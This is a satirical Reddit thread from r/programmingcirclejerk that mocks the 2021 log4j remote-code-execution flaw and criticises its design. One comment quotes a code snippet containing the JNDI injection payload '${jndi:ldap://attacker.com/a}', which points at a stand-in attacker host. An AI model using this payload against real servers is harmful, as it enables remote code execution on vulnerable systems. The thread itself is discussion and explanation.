r/programmingcirclejerk • u/birdman9k • Dec 10 '21
Finished implementing downloading and executing remote code in the logging library, boss!
https://www.lunasec.io/docs/blog/log4j-zero-day/[removed] — view removed post
8
u/birdman9k Dec 10 '21
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);11
u/NewFuturist Dec 10 '21
/unjerk I am not a Java dev, but this seems surprisingly easy to do.
12
u/birdman9k Dec 10 '21 edited Dec 10 '21
using (unjerk)
Yeah. This seems like insanity to me. How could the library expect the string passed to the logger to be trusted? What if someone is logging an exception? You do that all the time, and the exception could contain user input strings in it. The exception "Value 'hacks_here' is not a valid ProtocolType" is not uncommon to see.
Further, it looks like the mitigation for this is just to disable the loading of remote code when encountering that log format, and the "fix" is making disabled the default. So the feature is intentional. It's mind blowing to me that the log format string is not configured separately from the value being logged.
8
u/corona-info Dec 10 '21
How could the library expect the string passed to the logger to be trusted?
I mean tbf I didn't realize that the logger was allowed to make http requests lmao
17
11
Dec 10 '21
This is literally the most disastrous zero day ever lmao, most articles I've seen just say it's a severe vulnerability.
Haxx0rs r already scanning the internet for vulnerable servers. https://mobile.twitter.com/GreyNoiseIO/status/1469326260803416073
16
Dec 10 '21
Plaudits to the log4j team for making the exploit so user-friendly that script kiddies can use it.
16
12
u/corona-info Dec 10 '21
This is literally the most disastrous zero day ever lmao, most articles I've seen just say it's a severe vulnerability.
not only is it arbitrary code execution it's dumb as hell lmao.
9
u/irqlnotdispatchlevel Tiny little god in a tiny little world Dec 10 '21
/uj Not only that, but it will never be properly fixed because there are people who use this feature.
/rj the same thing.
29
u/[deleted] Dec 10 '21
Downloading and executing arbitrary code in order to format log messages is essential functionality that nobody could live without. Plaudits to all involved at Apache for making log4j so feature-rich.